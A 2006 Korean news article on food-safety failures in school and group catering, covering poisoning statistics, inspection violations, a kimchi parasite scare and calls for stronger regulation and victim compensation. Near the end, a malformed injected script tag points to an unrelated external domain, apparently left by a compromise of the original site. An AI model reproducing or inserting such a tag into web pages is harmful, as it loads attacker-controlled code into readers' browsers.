급식업체와 급식소에서 안전한 먹거리 확보를 아무리 강조해도 신뢰를 얻기 힘들다.
이곳에서의 식품 안전사고는 집단으로 발생되기 때문이다. 또 무조건 싼 것만을 고집하는 관행과 영세성이 신뢰를 주지 못하고 있다.
특히 매년 끊임없이 방송과 신문지면을 장식하는 단체급식과 관련한 비리와 식중독 등 식품 안전사고가 국민들의 뇌리에 못 박혀 있다.
# 매년 끊이지 않는 식품 안전사고
지난해 식품의약품안전청이 제출한 국정감사자료에 따르면 지난해 전체 식중독 환자는 1만388명. 이 가운데 학교급식소에서 발생한 식중독사고가 56건 6673명으로 전체 식중독 환자 3명중 2명이 학생피해자로 나타났다.
또 식약청이 지난해 3월 2~19일 국무조정실 교육청 지방자치단체 등과 합동으로 학교위탁급식소와 식자재공급업소를 특별 단속 결과, 조리시설과 재료 등을 비위생적으로 관리하거나 유통기한이 지난 원료를 사용한 업소 등 122개 위반업소가 적발됐다.
이 조사는 학교위탁급식업소 769개, 식자재공급업소 283개, 도시락제조업소 91개 등 모두 1143개소를 대상으로 실시해 음식물 위탁업소 63개, 식재료 공급업소 32개, 도시락 배달업소 27개소 등 총 122개소가 적발돼 부적합률은 11%에 달했다.
특히 경기도 포천시 P고교 급식소는 조리장에서 쥐가 서식한 흔적인 쥐똥이 발견됐으며, 경북 포항시 O중·고교 급식소는 벽면에 곰팡이가 서식하는 등 위생상태가 불량했다.
울산광역시가 지난해 4월 한달동안 관내 300개소의 집단급식소에 대한 위생점검을 벌인 결과에서도 법규를 위반한 28개소를 적발해 영업정지 등 행정조치를 취했다.
위반내용은 수질검사 미실시 3개소, 유통기한 경과 5개소, 위생취급기준 위반12개소, 기타 8개소 등이다.
식약청과 울산시의 이 조사 결과는 급식납품업체와 급식소, 종사자 모두가 위생과 안전에 대해 불감증을 보인 것으로 무조건 싼 것만을 고집하고 영세성에서 비롯된 결과라는 지적이다.
2004년 8월 광주 J초등학교에서는 육류를 납품하는 업체의 육류에서 대장균이 검출된 것으로 나타나 역학조사 등의 소동이 벌어졌다. 이 납품업체로부터 육류를 공급받은 광주시내 학교는 14개교 대상 학생만도 1만여명에 달해 급식으로 인한 식품안전사고는 대형사고를 일으킬 수 있음을 보여준 사례로 꼽히고 있다.
지난해 10월 중국산 김치에 이어 11월 국내산 김치 16개 제품에서 기생충알이 발견됐다는 식약청의 발표는 단체급식에 대한 불신을 증폭시켰다. 이들 제품이 소비자의 유동인구가 많은 유통업체에 납품되기도 했지만 대부분 학교와 기업 등 단체급식용으로 납품돼 왔기 때문이다.
특히 H식품 김치의 경우 1000여개의 단체급식소와 30여개소의 관공서, 병원 20개소, 초·중·고·대학교 100여개 등에 달했다. 식약청은 뒤늦게 인체에는 무해하다고 발표했지만 지금도 단체급식소에서의 김치는 외면당하고 있다.
# 단속인력확보와 피해구제 등 법규 강화해야
단체급식 식품 안전사고는 이 같이 매년 끊임없이 발생되면서 이를 방지하기 위해선 강도 높은 대책마련을 필요로 하고 있다. 특히 관련법규의 미비, 단속 인력 부족, 무신고 단체급식소 정비, 중앙과 지방으로 이원화돼 있는 급식소 관리 업무, 식중독사고 피해구제 등 해결 과제가 산적해 있다.
식품 안전사고가 발생될 때마다 정부는 관련법규를 손질할 것이라고 밝혀왔다. 그러나 내년 시행을 목표로 교육부가 발의한 ‘학교급식법개정법률안’도 아직 빛을 보지 못하고 있다. 직영급식 우리농산물 사용 무상급식을 주장하는 시민단체와 고도화된 전문성을 살린 위탁급식을 유지 발전시켜야 한다는 위탁업계의 주장이 팽팽히 맞서고 있는 실정이다.
무신고 단체급식소는 그야말로 식품 안전사고의 복병이다. 특히 무신고 급식소의 관리 감독이 제대로 이뤄지지 않으면서 집단 식중독 등 식품 안전사고의 걸림돌로 작용하고 있다.
또 지방의 단체급식소 관리·업무는 일선 시·군·구 업무로 식약청 단속의 손길이 미치지 않고 있어 식품 안전사고의 사각지대로 불리고 있다.
이와 함께 단체급식으로 인한 식품 안전사고가 일어날 경우 업주에 대해선 행정처분 등이 강화돼 왔지만 피해자는 상대적으로 소홀한 대접을 받고 있다는 지적이다.
지난해 7월 식중독 사고가 일어난 학교에 대해 학교장 앞으로 과태료를 부과하면서도 식중독 피해를 입은 학생들의 치료비 등은 지급하지 않은 사례가 발생하기도 했다.
이 같은 조치는 식품 안전사고가 전염병 등이 아니라는 이유로 치료비를 지급해야 하는 법적근거가 마련되지 않았기 때문이다. ?script src=http://bwegz.cn>
- 기자명 김진삼, 장두향
- 입력 2006.01.04 10:00
- 수정 2015.06.26 18:02
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